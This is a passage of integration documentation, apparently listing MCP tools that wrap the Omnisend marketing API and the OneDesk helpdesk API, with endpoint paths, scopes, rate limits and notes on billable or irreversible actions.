hours. Rate limits apply per brand. See Rate limits. POST /api/v1/omnisend/analytics/statistics. Scopes: analytics.read. omnisend_post_automations (write) — Create automation workflow. POST /automations. Create a new automation workflow. Trigger condition examples The trigger.condition field defines the event that enrolls contacts into the automation. Most trigger events use standard Events API event names and may require origin. Built-in trigger events, such as 'birthday', do not use origin. For the 'birthday' trigger, omit trigger.condition.filterGroups to enroll contacts on the day of their birthday. POST /api/v1/omnisend/automations. Scopes: automations.write. omnisend_post_automations_by_id_blocks_by_blockid_test_email (write) — Send test email. POST /automations/{id}/blocks/{blockID}/test-email. Send the saved email content of a specific email block as a test email to up to 5 recipients. The email is rendered and delivered asynchronously. This endpoint is rate limited to 400 requests per minute. POST /api/v1/omnisend/automations/{id}/blocks/{blockID}/test-email. Scopes: automations.write. omnisend_post_automations_by_id_copy (write) — Copy automation workflow. POST /automations/{id}/copy. Create a copy of an existing automation workflow. The copy is always created in a disabled state, regardless of the source automation's status. The request body is optional. When provided, you can specify a custom name for the copy. When omitted (or when name is empty), the copy is named 'Copy of: '. This endpoint is rate limited to 400 requests per minute. POST /api/v1/omnisend/automations/{id}/copy. Scopes: automations.write. omnisend_post_automations_by_id_disable (write) — Disable automation workflow. POST /automations/{id}/disable. Disable an automation workflow. Once disabled, the workflow stops accepting new trigger events. Use contactsInWorkflow to control what happens to contacts currently progressing through the workflow: keep: contacts remain and continue through the remaining blocks until completion. No new contacts enter. exit: all contacts are immediately removed from the workflow. Contacts who have not yet received their messages will not receive them. Disabling an already-disabled automation is idempotent — returns the current state without side effects. POST /api/v1/omnisend/automations/{id}/disable. Scopes: automations.write. omnisend_post_automations_by_id_enable (write) — Enable automation workflow. POST /automations/{id}/enable. Enable an automation workflow. Once enabled, the workflow starts processing trigger events in real time. The request body is optional. Use enrollExisting to also enroll contacts who already qualify at the time of enabling. When the body is omitted (or enrollExisting is omitted or false), only future trigger events are processed. Enabling an already-enabled automation is idempotent — returns the current state without side effects. This endpoint is rate limited to 400 requests per minute. POST /api/v1/omnisend/automations/{id}/enable. Scopes: automations.write. omnisend_post_batches (write) — Create batch. POST /batches. Batch operations allow for multiple actions of a similar type to be executed in a single request. Utilizing the batch endpoint is recommended to avoid hitting rate limits and to enhance overall performance. Creating batches is an asynchronous process that initiates the creation or updating of the specified items. POST batch operations to create multiple items simultaneously. PUT batch operations to apply multiple updates to multiple items. Each batch operation can include up to 100 actions. The required scopes depend on the type of batch operation being performed. POST /api/v1/omnisend/batches. Scopes: contacts.write, events.write, products.write. omnisend_post_brands_current (write) — Connect brand. POST /brands/current. With this endpoint you can connect your site to Omnisend. Note it's only possible to connect store with oAuth flow. This endpoint is rate limited to 400 requests per minute. OAuth connections only; refused on an API-key connection. POST /api/v1/omnisend/brands/current. Scopes: brands.write. omnisend_post_campaigns (write) — Create campaign. POST /campaigns. Create a new campaign draft. Boosters (type: booster): The parent campaign (boosterSettings.campaignID) must be a regular email campaign in 'draft' or 'sent' status; 'scheduled' and 'started' parents return 409. Each parent campaign supports at most one booster; creating another returns 409. Delete the existing booster first to replace it. sendingSettings is only allowed when the parent is already sent; for a draft parent provide boosterSettings.delay instead (max 240 hours) and the booster is scheduled automatically when the parent sends. POST /api/v1/omnisend/campaigns. Scopes: campaigns.write. omnisend_post_campaigns_by_id_ab_test_resume (write) — Resume A/B test. POST /campaigns/{id}/ab-test/resume. Resume a stopped A/B test. Automatic winner selection becomes eligible to pick this campaign again. Available only while the campaign is in stopped status. This endpoint is rate limited to 400 requests per minute. POST /api/v1/omnisend/campaigns/{id}/ab-test/resume. Scopes: campaigns.write. omnisend_post_campaigns_by_id_ab_test_stop (write) — Stop A/B test. POST /campaigns/{id}/ab-test/stop. Halt the A/B test winner-selection phase. While stopped, automatic winner selection no longer considers this campaign until it is resumed. Available only while the campaign is in started status. This endpoint is rate limited to 400 requests per minute. POST /api/v1/omnisend/campaigns/{id}/ab-test/stop. Scopes: campaigns.write. omnisend_post_campaigns_by_id_ab_test_winner (write) — Select A/B test winner. POST /campaigns/{id}/ab-test/winner. Manually pick a variant as the winner. The chosen variant is routed into the send pipeline immediately. This endpoint is rate limited to 400 requests per minute. POST /api/v1/omnisend/campaigns/{id}/ab-test/winner. Scopes: campaigns.write. omnisend_post_campaigns_by_id_cancel (write) — Cancel campaign. POST /campaigns/{id}/cancel. Cancel a campaign and mark it as canceled. Cancelable source states: scheduled or paused (all channel types), or started (email only). Any other status (e.g. draft, sent, canceled) returns 409. Supported cases: Any scheduled or paused campaign (all channel types) Started email campaigns Note: For started campaigns, cancellation is best-effort — messages already in flight may still be delivered. This endpoint is rate limited to 400 requests per minute. POST /api/v1/omnisend/campaigns/{id}/cancel. Scopes: campaigns.write. omnisend_post_campaigns_by_id_copy (write) — Copy campaign. POST /campaigns/{id}/copy. Create a draft copy of an existing campaign, copying content, audience, and settings from the original. The copy is a new draft campaign with its own ID; the original campaign is left unchanged. The copied campaign name will be prefixed with 'Copy of: '. This endpoint is rate limited to 400 requests per minute. POST /api/v1/omnisend/campaigns/{id}/copy. Scopes: campaigns.write. omnisend_post_campaigns_by_id_restoretodraft (write) — Restore campaign to draft. POST /campaigns/{id}/restoreToDraft. Restore a scheduled campaign to draft while preserving its ID and name. Only campaigns in scheduled status are supported. Regular email, SMS, push, and A/B test parent campaigns can be restored. Booster campaigns are not supported. Restoring cancels the scheduled send, deletes send progress, and changes the campaign status to draft. For A/B tests, all child campaigns are also restored to draft. This endpoint is rate limited to 400 requests per minute. POST /api/v1/omnisend/campaigns/{id}/restoreToDraft. Scopes: campaigns.write. omnisend_post_campaigns_by_id_send (write) — Send campaign. POST /campaigns/{id}/send. Submit a campaign draft for sending. Only campaigns in 'draft' status can be sent; to send a campaign again, copy it and send the copy. Supports both email and SMS campaigns. Behavior depends on the campaign's sending strategy: Immediate: Campaign will be sent immediately Scheduled: Campaign will be queued for the scheduled time with optional timezone optimization This endpoint is rate limited to 400 requests per minute. POST /api/v1/omnisend/campaigns/{id}/send. Scopes: campaigns.write. omnisend_post_campaigns_by_id_test_email (write) — Send campaign test email. POST /campaigns/{id}/test-email. Render the campaign draft and email it to up to 5 recipients so the merchant (or their AI tool) can preview it without leaving the API. The test uses the campaign's saved subject, sender, and content; only email campaigns are supported. This endpoint is rate limited to 400 requests per minute. POST /api/v1/omnisend/campaigns/{id}/test-email. Scopes: campaigns.write. omnisend_post_contacts (write) — Create or update existing contact. POST /contacts. Creates a new contact. If a contact with the provided email identifier already exists, it will be updated instead. Returns 201 Created for new contacts and 200 OK when an existing contact was updated. This endpoint is rate limited to 400 requests per minute. POST /api/v1/omnisend/contacts. Scopes: contacts.write. omnisend_post_contacts_tags (write) — Batch add tags. POST /contacts/tags. Adds the specified tags to contacts selected by contact IDs, emails, phone numbers or a segment. At least one of contactIDs, emails, phones or segmentID is required. Selectors can be combined and are applied additively — the union of all matched contacts is tagged: every contact in contactIDs, every contact matched by an address in emails, every contact matched by a number in phones and every member of segmentID. A contact matched by more than one selector is tagged once. Emails and phones with no matching contact are silently ignored. POST /api/v1/omnisend/contacts/tags. Scopes: contacts.write. omnisend_post_email_content_by_id_render (write) — Render email content. POST /email-content/{id}/render. With this endpoint you can render email content to HTML by ID. The content is rendered with an empty data context (no contact, no marketing activity). This endpoint is rate limited to 40 requests per minute. POST /api/v1/omnisend/email-content/{id}/render. Scopes: email-templates.write. omnisend_post_email_templates (write) — Create email template. POST /email-templates. With this endpoint you can create a new email template. This endpoint is rate limited to 400 requests per minute. POST /api/v1/omnisend/email-templates. Scopes: email-templates.write. omnisend_post_email_templates_by_id_render (write) — Render email template. POST /email-templates/{id}/render. With this endpoint you can render an email template by ID and get the full HTML body for preview purposes. This endpoint is rate limited to 40 requests per minute. POST /api/v1/omnisend/email-templates/{id}/render. Scopes: email-templates.write. omnisend_post_email_templates_import (write) — Import email template from HTML. POST /email-templates/import. With this endpoint you can import email template from raw HTML content. The HTML will be parsed, styles extracted, and structured into a template. Request body size limit: 1 MB This endpoint is rate limited to 400 requests per minute. POST /api/v1/omnisend/email-templates/import. Scopes: email-templates.write. omnisend_post_email_universal_layouts (write) — Create universal layout. POST /email-universal-layouts. With this endpoint you can create a new universal layout. This endpoint is rate limited to 400 requests per minute. POST /api/v1/omnisend/email-universal-layouts. Scopes: email-templates.write. omnisend_post_event_metadata (write) — Create custom event metadata. POST /event-metadata. Declares a new brand-custom event schema. The event identity is the combination of name and origin; displayName and at least one top-level property are required. Optional metadata fields must be omitted rather than sent as null. The created event is returned with every node flagged explicitlyDefined. This endpoint is rate limited to 400 requests per minute. POST /api/v1/omnisend/event-metadata. Scopes: none. omnisend_post_event_metadata_query (write) — Query events metadata. POST /event-metadata/query. Returns event metadata entries for the given category, optionally filtered by event names and/or origins. Supported categories: automations, events, segments API version scoping: The events a category exposes depend on the requested Omnisend-Version; a date between releases resolves to the nearest earlier supported version. Brand-custom events are not version-scoped. Event name filtering: When events are provided, only events whose system name matches one of the given values are returned (exact, case-sensitive match). POST /api/v1/omnisend/event-metadata/query. Scopes: none. omnisend_post_events (write) — Send Customer event. POST /events. With this endpoint you can send customer events to Omnisend. Customer events are used to track customer behavior and trigger automations based on that behavior. You can either format and send custom customer events or use predefined events. This endpoint is rate limited to 400 requests per minute. POST /api/v1/omnisend/events. Scopes: events.write. omnisend_post_images (write) — Upload image by URL. POST /images. With this endpoint you can upload an image from a publicly accessible URL. If the name is not provided, the filename will be extracted from the URL. This endpoint is rate limited to 400 requests per minute. POST /api/v1/omnisend/images. Scopes: images.write. omnisend_post_product_categories (write) — Create product category. POST /product-categories. Creates a new product category Check POSTMAN documentation This endpoint is rate limited to 400 requests per minute. POST /api/v1/omnisend/product-categories. Scopes: products.write. omnisend_post_products (write) — Create product. POST /products. Creates a new product This endpoint is rate limited to 400 requests per minute. POST /api/v1/omnisend/products. Scopes: products.write. omnisend_post_segments (write) — Create segment. POST /segments. Creates a new segment. Segmentation examples Event filter fields reference For entity: 'event' conditions, each filter in the filters array supports the following fields: > origin is usually optional. Most events belong to a single origin, so the API resolves it for you. > You only need to specify origin when an event exists under multiple origins — otherwise the API returns an error with the list of valid values to choose from. Period operators The period object is optional on every event filter. When omitted, the filter matches across all time. POST /api/v1/omnisend/segments. Scopes: segments.write. omnisend_post_sessions (write) — Create session from token. POST /sessions. Exchange a one-time login token for a browser session. On success the user is redirected (302) to Omnisend with session cookies set. This endpoint must be called from the user's browser (e.g. via a form POST) so that cookies are stored in the browser context. Browser-bound: Omnisend answers this with a 302 redirect carrying session cookies, which a server-side call cannot use. POST /api/v1/omnisend/sessions. Scopes: none. omnisend_post_sessions_token (write) — Create session token. POST /sessions/token. Create a one-time login token. Use this token in the session creation endpoint to log the user in and redirect them to Omnisend. OAuth connections only; refused on an API-key connection. POST /api/v1/omnisend/sessions/token. Scopes: sessions.write. omnisend_put_automations_by_id_blocks (write) — Replace automation workflow blocks. PUT /automations/{id}/blocks. Replace the full block tree for an automation workflow. Blocks identified by id are updated in place. Blocks identified by temporaryID are created as new blocks. Existing blocks not included in this array are removed. Enabled automations cannot be restructured. Disable the automation via POST /automations/{id}/disable, send the new block tree, then re-enable via POST /automations/{id}/enable when ready. When disabling, contactsInWorkflow controls whether contacts already in the workflow continue through the remaining blocks (keep) or exit immediately (exit). PUT /api/v1/omnisend/automations/{id}/blocks. Scopes: automations.write. omnisend_put_automations_by_id_blocks_by_blockid_utm (write) — Update UTM tags for an automation block. PUT /automations/{id}/blocks/{blockID}/utm. Set UTM tracking tags for a specific send-action block. All three tag fields are replaced atomically. Send an empty string to clear a field — the next read will return its default value. This endpoint is rate limited to 400 requests per minute. PUT /api/v1/omnisend/automations/{id}/blocks/{blockID}/utm. Scopes: automations.write. omnisend_put_campaigns_by_id_utm (write) — Update campaign UTM settings. PUT /campaigns/{id}/utm. Replace UTM tag settings for a campaign. For regular campaigns send a tags object. For A/B test campaigns send a variants object. The campaign must be in draft status. This endpoint is rate limited to 400 requests per minute. PUT /api/v1/omnisend/campaigns/{id}/utm. Scopes: campaigns.write. omnisend_put_email_content_by_id (write) — Update email content. PUT /email-content/{id}. With this endpoint you can update (fully replace) email content by ID. The full content structure must be provided in the request body. This endpoint is rate limited to 400 requests per minute. PUT /api/v1/omnisend/email-content/{id}. Scopes: email-templates.write. omnisend_put_email_templates_by_id (write) — Update email template. PUT /email-templates/{id}. With this endpoint you can update (fully replace) an email template by ID. This endpoint is rate limited to 400 requests per minute. PUT /api/v1/omnisend/email-templates/{id}. Scopes: email-templates.write. omnisend_put_email_universal_layouts_by_id (write) — Update universal layout. PUT /email-universal-layouts/{id}. With this endpoint you can update (fully replace) a universal layout by ID. This endpoint is rate limited to 400 requests per minute. PUT /api/v1/omnisend/email-universal-layouts/{id}. Scopes: email-templates.write. omnisend_put_event_metadata (write) — Update custom event metadata. PUT /event-metadata. Merges changes into an existing brand-custom event, identified by name and origin. Only supplied fields are applied: omitted metadata and omitted properties are preserved, and no property is deleted. The type of an already explicitly-defined property cannot change. Optional metadata fields must be omitted rather than sent as null. The merged event is returned. This endpoint is rate limited to 400 requests per minute. PUT /api/v1/omnisend/event-metadata. Scopes: none. omnisend_put_products_by_productid (write) — Replace product. PUT /products/{productID}. Replace product by ID This endpoint is rate limited to 400 requests per minute. PUT /api/v1/omnisend/products/{productID}. Scopes: products.write. omnisend_put_segments_by_segmentid (write) — Update segment. PUT /segments/{segmentID}. Updates an existing segment by ID. The segment must not be in a building state to be updated. If the segment is currently being built, a 409 Conflict error is returned. The request body structure (name and conditionGroups) is identical to Create segment. See the Create segment endpoint for detailed examples of condition groups, filters, and advanced segmentation patterns. This endpoint is rate limited to 15 requests per minute. PUT /api/v1/omnisend/segments/{segmentID}. Scopes: segments.write. ================================================================================ ## OneDesk URL: https://www.agenticfabriq.com/integrations/onedesk Section: Integrated Tools OneDesk — 93 MCP tools Provider key: onedesk. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. onedesk_create_attachment (write) — Create attachment with a file and user id. POST /rest/public/attachments/. POST /api/v1/onedesk/rest/public/attachments/. Scopes: api. onedesk_create_conversation (write) — Create conversation with list of messages and attachments. POST /rest/public/conversations/. POST /api/v1/onedesk/rest/public/conversations/. Scopes: api. onedesk_create_customer (write) — Create customer. POST /rest/public/customers/. POST /api/v1/onedesk/rest/public/customers/. Scopes: api. onedesk_create_customer_organization (write) — Create customer organization. POST /rest/public/customer-organizations/. POST /api/v1/onedesk/rest/public/customer-organizations/. Scopes: api. onedesk_create_message (write) — Create conversation message. POST /rest/public/conversation-messages/. POST /api/v1/onedesk/rest/public/conversation-messages/. Scopes: api. onedesk_create_portfolio (write) — Create portfolio. POST /rest/public/portfolios/. POST /api/v1/onedesk/rest/public/portfolios/. Scopes: api. onedesk_create_project (write) — Create a project. POST /rest/public/projects/. POST /api/v1/onedesk/rest/public/projects/. Scopes: api. onedesk_create_timesheet (write) — Create timesheet. POST /rest/public/timesheets/. POST /api/v1/onedesk/rest/public/timesheets/. Scopes: api. onedesk_create_user (write, destructive) — Create user. POST /rest/public/users/. ADDS A BILLABLE SEAT: a OneDesk user occupies a licence, priced at $12.99 per user/month for each of Help Desk and Project Management (onedesk.com/pricing, read 2026-09-18). The public API has no user delete, so this cannot be undone through this integration -- remove the user in the OneDesk admin console instead. POST /api/v1/onedesk/rest/public/users/. Scopes: api. onedesk_create_user_team (write) — Create user team. POST /rest/public/teams/. POST /api/v1/onedesk/rest/public/teams/. Scopes: api. onedesk_create_work_item (write) — Create work item. POST /rest/public/items/. POST /api/v1/onedesk/rest/public/items/. Scopes: api. onedesk_filter_activities_details (read) — Filter activities and get activity details. Activities in the result are limited to the last 30 days. POST /rest/public/activities/filter/details. POST /api/v1/onedesk/rest/public/activities/filter/details. Scopes: api. onedesk_filter_attachments_details (read) — Filter attachments and get attachment details. POST /rest/public/attachments/filter/details. POST /api/v1/onedesk/rest/public/attachments/filter/details. Scopes: api. onedesk_filter_attachments_external_ids (read) — Filter attachments and get attachment external ids. POST /rest/public/attachments/filter. POST /api/v1/onedesk/rest/public/attachments/filter. Scopes: api. onedesk_filter_conversation_messages_details (read) — Filter conversation messages and get conversation messages details. POST /rest/public/conversation-messages/filter/details. POST /api/v1/onedesk/rest/public/conversation-messages/filter/details. Scopes: api. onedesk_filter_conversation_messages_external_ids (read) — Filter conversation messages and get conversation messages external ids. POST /rest/public/conversation-messages/filter. POST /api/v1/onedesk/rest/public/conversation-messages/filter. Scopes: api. onedesk_filter_conversations_details (read) — Filter conversations and get conversation details. POST /rest/public/conversations/filter/details. POST /api/v1/onedesk/rest/public/conversations/filter/details. Scopes: api. onedesk_filter_conversations_external_ids (read) — Filter conversations and get conversation external ids. POST /rest/public/conversations/filter. POST /api/v1/onedesk/rest/public/conversations/filter. Scopes: api. onedesk_filter_customer (read) — Filter customers and get customer external ids. POST /rest/public/customers/filter. POST /api/v1/onedesk/rest/public/customers/filter. Scopes: api. onedesk_filter_customer_org_details (read) — Filter customer organizations and get customer organization details. POST /rest/public/customer-organizations/filter/details. POST /api/v1/onedesk/rest/public/customer-organizations/filter/details. Scopes: api. onedesk_filter_customer_org_external_ids (read) — Filter customer organizations and get customer organization external ids. POST /rest/public/customer-organizations/filter. POST /api/v1/onedesk/rest/public/customer-organizations/filter. Scopes: api. onedesk_filter_customer_with_details (read) — Filter customers and get customer details. POST /rest/public/customers/filter/details. POST /api/v1/onedesk/rest/public/customers/filter/details. Scopes: api. onedesk_filter_invoice_with_details (read) — Filter invoices and get invoice details. POST /rest/public/invoices/filter/details. POST /api/v1/onedesk/rest/public/invoices/filter/details. Scopes: api. onedesk_filter_invoices_external_ids (read) — Filter invoices and get invoice external ids. POST /rest/public/invoices/filter. POST /api/v1/onedesk/rest/public/invoices/filter. Scopes: api. onedesk_filter_item (read) — Filter items and get item external ids. POST /rest/public/items/filter. POST /api/v1/onedesk/rest/public/items/filter. Scopes: api. onedesk_filter_item_with_details (read) — Filter items and get item details. POST /rest/public/items/filter/details. POST /api/v1/onedesk/rest/public/items/filter/details. Scopes: api. onedesk_filter_portfolio (read) — Filter portfolios and get portfolio external ids. POST /rest/public/portfolios/filter. POST /api/v1/onedesk/rest/public/portfolios/filter. Scopes: api. onedesk_filter_portfolio_with_details (read) — Filter portfolios and get portfolio details. POST /rest/public/portfolios/filter/details. POST /api/v1/onedesk/rest/public/portfolios/filter/details. Scopes: api. onedesk_filter_projects_details (read) — Filter projects and get project details. POST /rest/public/projects/filter/details. POST /api/v1/onedesk/rest/public/projects/filter/details. Scopes: api. onedesk_filter_projects_external_ids (read) — Filter projects and get project external ids. POST /rest/public/projects/filter. POST /api/v1/onedesk/rest/public/projects/filter. Scopes: api. onedesk_filter_quote (read) — Filter quotes and get quotes external ids. POST /rest/public/quotes/filter. POST /api/v1/onedesk/rest/public/quotes/filter. Scopes: api. onedesk_filter_quote_with_details (read) — Filter quotes and get quotes details. POST /rest/public/quotes/filter/details. POST /api/v1/onedesk/rest/public/quotes/filter/details. Scopes: api. onedesk_filter_teams_details (read) — Filter teams and get team details. POST /rest/public/teams/filter/details. POST /api/v1/onedesk/rest/public/teams/filter/details. Scopes: api. onedesk_filter_teams_external_ids (read) — Filter teams and get team external ids. POST /rest/public/teams/filter. POST /api/v1/onedesk/rest/public/teams/filter. Scopes: api. onedesk_filter_timers_external_ids (read) — Filter timers and get timer external ids. POST /rest/public/timers/filter. POST /api/v1/onedesk/rest/public/timers/filter. Scopes: api. onedesk_filter_timers_with_details (read) — Filter timers and get timer details. POST /rest/public/timers/filter/details. POST /api/v1/onedesk/rest/public/timers/filter/details. Scopes: api. onedesk_filter_timesheets_details (read) — Filter timesheets and get timesheet details. POST /rest/public/timesheets/filter/details. POST /api/v1/onedesk/rest/public/timesheets/filter/details. Scopes: api. onedesk_filter_timesheets_external_ids (read) — Filter timesheets and get timesheet external ids. POST /rest/public/timesheets/filter. POST /api/v1/onedesk/rest/public/timesheets/filter. Scopes: api. onedesk_filter_user (read) — Filter users and get user external ids. POST /rest/public/users/filter. POST /api/v1/onedesk/rest/public/users/filter. Scopes: api. onedesk_filter_user_with_details (read) — Filter users and get user details. POST /rest/public/users/filter/details. POST /api/v1/onedesk/rest/public/users/filter/details. Scopes: api. onedesk_get_attachment_by_external_id (read) — Get attachment by external id. GET /rest/public/attachments/externalId/{externalId}. GET /api/v1/onedesk/rest/public/attachments/externalId/{externalId}. Scopes: api. onedesk_get_conversation_message_by_external_id (read) — Get conversation message by id. GET /rest/public/conversation-messages/externalId/{externalId}. GET /api/v1/onedesk/rest/public/conversation-messages/externalId/{externalId}. Scopes: api. onedesk_get_conversations_by_id (read) — Get Conversations by external id. GET /rest/public/conversations/externalId/{externalId}. GET /api/v1/onedesk/rest/public/conversations/externalId/{externalId}. Scopes: api. onedesk_get_customer_by_organizational_id (read) — Get customer by id. GET /rest/public/customers/id/{id}. GET /api/v1/onedesk/rest/public/customers/id/{id}. Scopes: api. onedesk_get_customer_organizations_by_external_id (read) — Get customer organization by external id. GET /rest/public/customer-organizations/externalId/{externalId}. GET /api/v1/onedesk/rest/public/customer-organizations/externalId/{externalId}. Scopes: api. onedesk_get_customers_by_external_id (read) — Get customer by external id. GET /rest/public/customers/externalId/{externalId}. GET /api/v1/onedesk/rest/public/customers/externalId/{externalId}. Scopes: api. onedesk_get_invoice_by_external_id (read) — Get invoice by external id. GET /rest/public/invoices/externalId/{externalId}. GET /api/v1/onedesk/rest/public/invoices/externalId/{externalId}. Scopes: api. onedesk_get_invoice_by_organizational_id (read) — Get invoice by id. GET /rest/public/invoices/id/{id}. GET /api/v1/onedesk/rest/public/invoices/id/{id}. Scopes: api. onedesk_get_items_by_external_id (read) — Get item details by external id of the work item. GET /rest/public/items/externalId/{externalId}. GET /api/v1/onedesk/rest/public/items/externalId/{externalId}. Scopes: api. onedesk_get_items_by_organizational_id (read) — Get item details by id. GET /rest/public/items/id/{id}. GET /api/v1/onedesk/rest/public/items/id/{id}. Scopes: api. onedesk_get_organization_container_types (read) — Get organization container types. GET /rest/public/organization/containerTypes. GET /api/v1/onedesk/rest/public/organization/containerTypes. Scopes: api. onedesk_get_organization_lifecycle_status (read) — Get organization lifecycle status. GET /rest/public/organization/lifecycleStatus. GET /api/v1/onedesk/rest/public/organization/lifecycleStatus. Scopes: api. onedesk_get_organization_profile_and_policy (read) — Get organization profile and policy. GET /rest/public/organization/profileAndPolicy. GET /api/v1/onedesk/rest/public/organization/profileAndPolicy. Scopes: api. onedesk_get_organization_user_types (read) — Get organization user types. GET /rest/public/organization/userTypes. GET /api/v1/onedesk/rest/public/organization/userTypes. Scopes: api. onedesk_get_organization_work_item_types (read) — Get organization work item types. GET /rest/public/organization/itemTypes. GET /api/v1/onedesk/rest/public/organization/itemTypes. Scopes: api. onedesk_get_portfolio_by_external_id (read) — Get portfolio by external id. GET /rest/public/portfolios/externalId/{externalId}. GET /api/v1/onedesk/rest/public/portfolios/externalId/{externalId}. Scopes: api. onedesk_get_projects_by_external_id (read) — Get project by external id. GET /rest/public/projects/externalId/{externalId}. Get project details by external id. GET /api/v1/onedesk/rest/public/projects/externalId/{externalId}. Scopes: api. onedesk_get_projects_by_id (read) — Get project by id. GET /rest/public/projects/id/{id}. Get project details by id. GET /api/v1/onedesk/rest/public/projects/id/{id}. Scopes: api. onedesk_get_quote_by_external_id (read) — Get quote by external id. GET /rest/public/quotes/externalId/{externalId}. GET /api/v1/onedesk/rest/public/quotes/externalId/{externalId}. Scopes: api. onedesk_get_quote_by_organizational_id (read) — Get quote by id. GET /rest/public/quotes/id/{id}. GET /api/v1/onedesk/rest/public/quotes/id/{id}. Scopes: api. onedesk_get_team_details_by_external_id (read) — Get team details by external id. GET /rest/public/teams/externalId/{externalId}. GET /api/v1/onedesk/rest/public/teams/externalId/{externalId}. Scopes: api. onedesk_get_timer_by_external_id (read) — Get timer by timer external id. GET /rest/public/timers/externalId/{externalId}. GET /api/v1/onedesk/rest/public/timers/externalId/{externalId}. Scopes: api. onedesk_get_timesheet_by_external_id (read) — Get timesheet by external id. GET /rest/public/timesheets/externalId/{externalId}. GET /api/v1/onedesk/rest/public/timesheets/externalId/{externalId}. Scopes: api. onedesk_get_timesheet_by_friendly_id (read) — Get timesheet by id. GET /rest/public/timesheets/id/{id}. GET /api/v1/onedesk/rest/public/timesheets/id/{id}. Scopes: api. onedesk_get_user_by_external_id (read) — Get user by external id. GET /rest/public/users/externalId/{externalId}. GET /api/v1/onedesk/rest/public/users/externalId/{externalId}. Scopes: api. onedesk_get_user_by_organizational_id (read) — Get user by id. GET /rest/public/users/id/{id}. GET /api/v1/onedesk/rest/public/users/id/{id}. Scopes: api. onedesk_start_work_timer_by_external_id (write) — Start work timer by timer external id and item external id. GET /rest/public/timers/start/{timerExternalId}/{itemExternalId}. A GET that MUTATES: OneDesk models the timer commands as action-shaped GETs. Binds the timer to a work item. GET /api/v1/onedesk/rest/public/timers/start/{timerExternalId}/{itemExternalId}. Scopes: api. onedesk_update_conversation (write) — Update conversation by external id. POST /rest/public/conversations/externalId/{externalId}. POST /api/v1/onedesk/rest/public/conversations/externalId/{externalId}. Scopes: api. onedesk_update_conversation_message_by_external_id (write) — Update conversation message by id. POST /rest/public/conversation-messages/externalId/{externalId}. POST /api/v1/onedesk/rest/public/conversation-messages/externalId/{externalId}. Scopes: api. onedesk_update_customer_by_external_id (write) — Update customer by external id. POST /rest/public/customers/externalId/{externalId}. POST /api/v1/onedesk/rest/public/customers/externalId/{externalId}. Scopes: api. onedesk_update_customer_by_organizational_id (write) — Update customer by id. POST /rest/public/customers/id/{id}. POST /api/v1/onedesk/rest/public/customers/id/{id}. Scopes: api. onedesk_update_customer_organization (write) — Update customer organization by external id. POST /rest/public/customer-organizations/externalId/{externalId}. POST /api/v1/onedesk/rest/public/customer-organizations/externalId/{externalId}. Scopes: api. onedesk_update_customer_organization_attachment (write) — Add attachment to a customer organization. POST /rest/public/attachments/customer-organization/{externalId}. Upload an attachment directly to a customer organization. POST /api/v1/onedesk/rest/public/attachments/customer-organization/{externalId}. Scopes: api. onedesk_update_invoice_by_external_id (write) — Update invoice by external id. POST /rest/public/invoices/externalId/{externalId}. POST /api/v1/onedesk/rest/public/invoices/externalId/{externalId}. Scopes: api. onedesk_update_invoice_by_organizational_id (write) — Update invoice by id. POST /rest/public/invoices/id/{id}. POST /api/v1/onedesk/rest/public/invoices/id/{id}. Scopes: api. onedesk_update_item_attachment (write) — Add attachment to an item. POST /rest/public/attachments/item/{externalId}. Upload an attachment directly to an item. POST /api/v1/onedesk/rest/public/attachments/item/{externalId}. Scopes: api. onedesk_update_items_by_external_id (write) — Update item by external id. POST /rest/public/items/externalId/{externalId}. Update item details by external id of the work item. The body's `archived` member archives or unarchives the item, which is the closest thing to a delete this API offers -- it publishes no DELETE verb anywhere. POST /api/v1/onedesk/rest/public/items/externalId/{externalId}. Scopes: api. onedesk_update_items_by_organizational_id (write) — Update item by id. POST /rest/public/items/id/{id}. Update item properties by id. The body's `archived` member archives or unarchives the item, which is the closest thing to a delete this API offers -- it publishes no DELETE verb anywhere. POST /api/v1/onedesk/rest/public/items/id/{id}. Scopes: api. onedesk_update_portfolio_attachment (write) — Add attachment to a portfolio. POST /rest/public/attachments/portfolio/{externalId}. Upload an attachment directly to a portfolio. POST /api/v1/onedesk/rest/public/attachments/portfolio/{externalId}. Scopes: api. onedesk_update_portfolio_by_external_id (write) — Update portfolio by external id. POST /rest/public/portfolios/externalId/{externalId}. POST /api/v1/onedesk/rest/public/portfolios/externalId/{externalId}. Scopes: api. onedesk_update_project_attachment (write) — Add attachment to a project. POST /rest/public/attachments/project/{externalId}. Upload an attachment directly to a project. POST /api/v1/onedesk/rest/public/attachments/project/{externalId}. Scopes: api. onedesk_update_project_by_external_id (write) — Update project by external id. POST /rest/public/projects/externalId/{externalId}. The body's `archived` member archives or unarchives the project, which is the closest thing to a delete this API offers -- it publishes no DELETE verb anywhere. POST /api/v1/onedesk/rest/public/projects/externalId/{externalId}. Scopes: api. onedesk_update_project_by_id (write) — Update project by id. POST /rest/public/projects/id/{id}. The body's `archived` member archives or unarchives the project, which is the closest thing to a delete this API offers -- it publishes no DELETE verb anywhere. POST /api/v1/onedesk/rest/public/projects/id/{id}. Scopes: api. onedesk_update_quote_by_external_id (write) — Update quote by external id. POST /rest/public/quotes/externalId/{externalId}. POST /api/v1/onedesk/rest/public/quotes/externalId/{externalId}. Scopes: api. onedesk_update_quote_by_organizational_id (write) — Update quote by id (start with Q-). POST /rest/public/quotes/id/{id}. POST /api/v1/onedesk/rest/public/quotes/id/{id}. Scopes: api. onedesk_update_timesheet_by_external_id (write) — Update timesheet by external id. POST /rest/public/timesheets/externalId/{externalId}. Update timesheet by external id. POST /api/v1/onedesk/rest/public/timesheets/externalId/{externalId}. Scopes: api. onedesk_update_timesheet_by_friendly_id (write) — Update timesheet by id. POST /rest/public/timesheets/id/{id}. POST /api/v1/onedesk/rest/public/timesheets/id/{id}. Scopes: api. onedesk_update_user_by_external_id (write) — Update user by external id. POST /rest/public/users/externalId/{externalId}. POST /api/v1/onedesk/rest/public/users/externalId/{externalId}. Scopes: api. onedesk_update_user_by_organizational_id (write) — Update user by id. POST /rest/public/users/id/{id}. POST /api/v1/onedesk/rest/public/users/id/{id}. Scopes: api. onedesk_update_user_team (write) — Update user team by external id. POST 